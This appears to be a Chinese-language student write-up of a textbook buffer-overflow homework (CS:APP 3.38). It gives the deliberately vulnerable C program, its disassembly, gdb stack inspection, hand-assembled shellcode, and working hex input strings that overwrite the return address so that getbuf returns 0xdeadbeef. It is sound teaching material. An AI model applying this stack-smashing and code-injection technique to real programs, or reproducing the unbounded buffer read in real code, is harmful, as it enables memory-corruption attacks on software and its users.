<<深入理解计算机系统>>家庭作业3.38, 分析全过程
问题: 输入一个16进制的字符串, 使得程序输出0xdeadbeef
在 windows + MinGW-gcc + MinGW-gdb 测试通过;
在 linux + gcc + gdb 测试没通过.
##############################################################################
/* 源程序 */
/* Bomb program that is solved using a buffer overflow attack */
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even = 1; /* Have read even number of digits */
int otherd = 0; /* Other hex digit of pair */
char *sp = dest;
while ((c = getchar()) != EOF && c != '/n') {
if (isxdigit(c)) {
int val;
if ('0' <= c && c <= '9')
val = c - '0';
else if ('A' <= c && c <= 'F')
val = c - 'A' + 10;
else
val = c - 'a' + 10;
if (even) {
otherd = val;
even = 0;
} else {
*sp++ = otherd * 16 + val;
even = 1;
}
}
}
*sp++ = '/0';
return dest;
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x/n", val);
}
/* $end getbuf-c */
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position */
int offset = (((int) buf) & 0xFFF);
int *space = (int *) alloca(offset);
*space = 0; /* So that don't get complaint of unused variable */
test();
return 0;
}
##############################################################################
编译, 然后反编译.
$gcc -o bufbomb bufbomb.c
$objdump -d bufbomb > bufbomb_obj.s
bufbomb_obj.s 部分内容为:
004013b6 <_getbuf>:
4013b6: 55 push %ebp
4013b7: 89 e5 mov %esp,%ebp
4013b9: 83 ec 28 sub $0x28,%esp
4013bc: 8d 45 e8 lea 0xffffffe8(%ebp),%eax
4013bf: 89 04 24 mov %eax,(%esp)
4013c2: e8 29 ff ff ff call 4012f0 <_getxs>
4013c7: b8 01 00 00 00 mov $0x1,%eax
4013cc: c9 leave
4013cd: c3 ret
004013ce <_test>:
4013ce: 55 push %ebp
4013cf: 89 e5 mov %esp,%ebp
4013d1: 83 ec 18 sub $0x18,%esp
4013d4: c7 04 24 00 30 40 00 movl $0x403000,(%esp)
4013db: e8 08 06 00 00 call 4019e8 <_printf>
4013e0: e8 d1 ff ff ff call 4013b6 <_getbuf>
4013e5: 89 45 fc mov %eax,0xfffffffc(%ebp) ;;########
4013e8: 8b 45 fc mov 0xfffffffc(%ebp),%eax
4013eb: 89 44 24 04 mov %eax,0x4(%esp)
4013ef: c7 04 24 11 30 40 00 movl $0x403011,(%esp)
4013f6: e8 ed 05 00 00 call 4019e8 <_printf>
4013fb: c9 leave
4013fc: c3 ret
重要信息:
在getbuf帧中, buf地址为%ebp-24(lea 0xffffffe8(%ebp),%eax), 同时还要注意到分
配的空间比要求的(12bytes)大12bytes.
| |
|------s---|
| |
|---------| 保存的返回地址
| |
0 |----------| %ebp
| [23] |
| . |
| . |
| . |
| [12] |
-12 |----------|
| [11] |
| . |
| . |
| . |
| [0] |
-24 |---------| buf
| |
| |
| |
| |
| |
| |
| . |
.
.
图: getbuf帧结构
从图可以看出, 要达到目的(求解该问题)的一个方法是: 通过溢出修改"保存的返回地址
", 使它变为buf的地址, 而从buf处开始存放新指令(自己设置的, 能过读入字串, 功能即
是题目的要求), 并且在"功能指令"后存放一条指令, 使得程序跳转回"原先保存的返回地
址", 从而使得程序继续正常地执行.
输入的字符串形式:
(功能代码) (可能的多余字节)(旧%ebp的值)(指向功能代码的地址)
##############################################################################
用gdb调试并查询收集相关信息:
; 在getbuf设置断点, 查看得以下信息:
(gdb) p /x *((int*)$ebp + 1) ; getbuf的返回地址, (test栈帧所保存的返回地址)
$18 = 0x4013e5
(gdb) p /x *((int*)$ebp) ; %ebp的值, 保存的帧
$8 = 0x22efb8
(gdb) p /x $ebp -24 ; buf首地址
$9 = 0x22ef80
(gdb) p /x *((int*)$ebp - 1) ; 未知地址1的值
$10 = 0xfffffffe
(gdb) p /x *((int*)$ebp - 2) ; 未知地址2的值
$11 = 0x2752d781
(gdb) p /x *((int*)$ebp - 3) ; 未知地址3的值
$12 = 0x772c24b5
(gdb) p /x ((int*)$ebp - 6) ; buf首地址
$13 = 0x22ef80
##############################################################################
生成"自己设置的功能指令":
定一个汇编程序:
mov $0xdeadbeef, %eax ; 题目要求
mov $0x004013e5, %edx ;
jmp *%edx ; 使程序跳转到buf处
编译:
gcc -c show.s
反编译:
objdump -d show.o >show_obj.s
查看show_obj.s文件:
show.o: file format pe-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 ef be ad de mov $0xdeadbeef,%eax
5: ba e5 13 40 00 mov $0x4013e5,%edx
a: ff e2 jmp *%edx
c: 90 nop
d: 90 nop
e: 90 nop
f: 90 nop
##############################################################################
组装收集到的信息进行组装攻击, 测试结果如下:
==============================================================================
(gdb) c
Continuing.
b8efbead debae513 4000ffe2 b5242c77 c5a3f03a feffffff b8ef2200 80ef2200
getbuf returned 0xdeadbeef
Program exited normally.
------------------------------------------------------------------------------
分析输入的字符串:
b8efbead debae513 4000ffe2 b5242c77 c5a3f03a feffffff b8ef2200 80ef2200
"自己设置的功能指令" buf[12]~buf[23]中的值 保存的帧 buf的地址
(从show_obj.s中得到)
==============================================================================
(gdb) c
Continuing.
b8efbead debae513 4000ffe2 00000000 00000000 00000000 b8ef2200 80ef2200
getbuf returned 0xdeadbeef
Program exited normally.
(gdb)
==============================================================================
(gdb) c
Continuing.
b8efbead debae513 4000ffe2 000d0000 00300030 00900000 b8ef2200 80ef2200
getbuf returned 0xdeadbeef
Program exited normally.
(gdb)
从这三次测试可知: buf[12]~buf[23]的值并不影响程序的运行和结果.